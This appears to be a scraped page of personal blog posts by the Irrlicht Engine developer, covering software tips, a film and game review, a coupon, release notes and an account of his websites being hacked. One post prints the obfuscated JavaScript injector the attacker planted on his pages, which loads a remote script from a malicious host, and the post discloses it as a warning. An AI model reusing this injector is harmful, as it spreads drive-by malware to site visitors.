Irrlicht Engine

Using subversion on Windows 7? Getting strange error messages when committing, like 'can't open db\transactions\ 0-1.txn''? Solution: Disable your virus scanner. Took me about one hour to find this out. Argl.

After some investigations over my websites which have been hacked recently, I think I now found out how they did it: I had surfed with a PC to an infected website (already contacted their webmaster who already removed the problem) which had some evil ... [More] JavaScript injected into their html.The JavaScript downloaded a .pdf, causing Adobe Reader to display it, and caused to trigger a security hole inside which made it possible to run arbitrary code.This code downloaded some other .exe which apparently scanned my disk for popular (s)ftp programs and grabbed adresses and passwords from themNot sure if this program did it itself or this was done by an external bot, but with these passwords, two of my websites where changed and the JavaScript was inserted on my websites as well, probably causing the virus to spread to other people. Fortunately, this happened during the holidays where not many people visted these websites and I fixed it within a few hours.I reconstructed all this only with dates of files, registry entries and logs, so it might not be the full story, but I think it is pretty close to it. The bad thing is that this happened to me using the latest (or at least very very recent) versions of most software and all security updates installed. What I learned from this and what you can do to prevent the same happen to you: Disable plugins (flash; adobe reader etc) when surfing the web to reduce the security risk.Enable the data execution prevention if your CPU supports this. On another PC with which I've tried this, it prevented that security hole to work.Don't let (s)ftp programs store your passwords.I had antivirus software installed, and it noticed the thread. But it didn't prevent the problem, it just kicked in _after_ the trojan had executed already: "Hey, there is a trojan on your Hard Disk! But too late. Just wanted to let you know. You are fucked now.". So don't count on anti virus software at all.Do backups (I had plenty of those, fortunately) It's easy to be wise after the event... :) [Less]

When I tried to recover from the holidays last weekend, I watched a film from the 80s on DVD. It is set in Afghanistan during the Soviet-Afghan War. An american soldier fights together with the Afghanistan people against the evil Russians who are ... [More] brutally murdering and torturing the poor people there. While watching the film which is just a stupid action film - named 'Rambo III', you've maybe guessed it - it constantly shows what military operations the Russians are doing to portray them as evil. Every time they do this, you'll notice that what they are showing there is EXACTLY what we are currently doing in Afghanistan. We, that's the U.S., Germany, United Kingdom, France, Austria and all the other ISAF nations. I've never seen something telling me more directly that we are the bad guys like this stupid action movie. And the funny part is that it was originally trying to do the opposite. It's a quite shocking experience. (Not that I ever thought the Afghanistan war is right. But it's still quite shocking) Interesting note: The film ends with the words "This film is dedicated to the gallant people of Afghanistan". [Less]

Microsoft decided to drop support for several versions of its Visual Studio, but still people like me have to work with it. I still need to run Visual Studio .NET 2003 from time to time, but since Vista, it's not that easy anymore. And Win7 seems to ... [More] have been the nail into its coffin: Starting the IDE will work, but running the compiler already fails with senseless error messages. Which is, from a technical point of view a bit ridiculous, btw. I remember having payed a lot of money for this piece of unsupported CENSORED. Anyway, after playing around a bit, if you have the same problem, there is a simple way to make Visual Studio .NET 2003 run on Windows 7 even without the XP VM: Install SP1 and in the Properties of the Visual Studio startup icon on the desktop or in the task bar, select the 'Compatibility' tab and use 'Compatibility mode for Windows Vista SP1'. Don't use the Windows XP compatibility mode, it won't work. Additionally, disable 'Visual Designs' and 'Desktop Composition'. After this VS 2003 will run, compile and stop crashing. Unfortunately, running your programs in the debugger will slow them down by about a factor of 5. But better than nothing. At least we've got new colorful icons with Win7 now, right? :) [Less]

Two websites I'm running, Ambiera.com and this site, Irrlicht3d.org have been hacked yesterday. We are not sure yet how this happened, but if you visited this blog or Ambiera.com yesterday between 10 and 12 o'clock (UTC +1), it might be a good idea ... [More] to run some anti virus software on your PC, I cannot say what the attacker extactly wanted to do: Somebody attached a javascript to the bottom of a few html sites. The code looked like this: var Gldapnhsg069 = document.createElement('s$@c###(r^i&)p@&@t^)'.replace(/#|\^|\$|&|@|\!|\(|\)/ig, ''));var Hd1voqaixds8 = 'E1usw40fczkxa7';Gldapnhsg069.setAttribute('type', 't(^$e)x)t)(^/)@j(@a^v^&a#!#s$!c@&r@i^&&p)t!^'.replace(/\)|\(|&|#|\^|\!|\$|@/ig, ''));Gldapnhsg069.setAttribute('src', 'h!&(t(t!(p#:))!^/#/#!$f^r&@!e(&e^o(@n$e!s)$-@&(c&^(o!$m^^@$.#b^@a($)dj&$^o&@$j$@o&)#.!c)$$o#!#&m((.@&$i@b^@i(@)(b)!()o^$@-$@(!!c$!o^!(@m&)^@^.($^t@h)e$@m&)o##b$#&)i@^&s!(i#t$#e!.&&(r)#u^^@@:&@8(#0!8^(!0&!@)/$$)#g(@)#o)(o(@)!g$l!#&)e)@)).)!!^c$&)o)m!/#@g!o$&o^g$(l)$$^e.!^c#&o)$(#m@()/&^j#!$r)!)j@.#^!c#!o@!@m&.!)#c$(#!n))/&m&@@e!)@di)(!(a@$s!$e(t&@.)^@&i$(t@/((b$)a^&@&n)k(!^o()(f$&$a$$$m$e^(&r^i!((@c#((@a)).@@&c&!(o!#m&)/!^^'.replace(/\!|\$|&|@|\(|\)|#|\^/ig, ''));Gldapnhsg069.setAttribute('defer', 'd(!@e^()f$$(@e)#r@)'.replace(/@|\^|\)|\(|&|\$|\!|#/ig, ''));Gldapnhsg069.setAttribute('id', 'G@$@&0@!$&m&7$@@!p(@$!!x($c$d^$8$&c(^$$4&!w((^)4$$&@'.replace(/@|\$|\!|&|\)|\^|#|\(/ig, ''));document.body.appendChild(Gldapnhsg069);}} catch(Cla4d3870kj7) {} (some random line breaks added by me for security) I have not looked what this actually does, but if you are interested, feel free to have a look at this. Thanks to Jetro for quickly letting me know about this problem! [Less]

Heading off for some days in the snowy mountains of Austria, so this blog might be a bit quiet in the next days. Here's some X-mas 'present' for you until I'm back again: Enter 'ENDOF2009' as coupon code when buying CopperCube or irrFuscator and ... [More] you pay 20% less (that's up to 59 euro!). This will work only a few days, until Thursday next week (31th of December). Happy holidays! [Less]

Because everybody was talking about it, I've been playing Call of Duty: Modern Warfare 2 recently a bit. It's a nice game, especially the single player campaign: Nicely scripted missions in beautifully edited 3d scenes which feels like you are ... [More] playing in a Hollywood movie (actually, the story and dialogs have about the same non-existent depth and logic as those movies) and it's quite fun to watch the AI fight on your side through those heavily scripted levels. Unfortunately the single player part is pretty short (played through it in about 2 evenings), and so I tested the multiplayer mode for about... estimating... 300 games (omg). Playing online in Deathmatch/CaptureTheFlag/AndWhatNot modes is similar to other shooters, but they combined it with an RPG like component giving your access to more weapons and features the more you play. Which somehow triggered the RPG-Player in me and efficiently consumed a lot of my free time. Fortunately, a lot of players recently started to use cheats like auto aim bots which takes the fun out of the game and I finally was able to stop myself. :) Summarized: A nice game, worth having a look. [Less]

CopperCube 1.1.2 is now available. I also created a new demo to show some of the new features: Controls: Simply click the buttons. The model and textures have been created by Psionic3d. The demo shows the 2D overlays and some new actions. I ... [More] didn't need to write any code for this demo. CopperCube now also supports transparent background rendering (wmode=transparent). An exporter to create .irr files so you can use CopperCube to create Irrlicht scenes didn't make it into this release, but I'm planning to have it in the next version. You can download CopperCube here. [Less]

The irrEdit download server is currently not available. Going to fix this as fast as possible. Update: fixed now.

Irrlicht 1.5.2 is out, it's mainly a bug fix release. To repeat what I just wrote on the Irrlicht website: We just released an update to the 1.5 branch of the Irrlicht engine, version 1.5.2. It contains several updates and bugfixes, related to terrain smoothing, joystick support, OS/XCode updates and MS3D loader fixes. Happy downloading!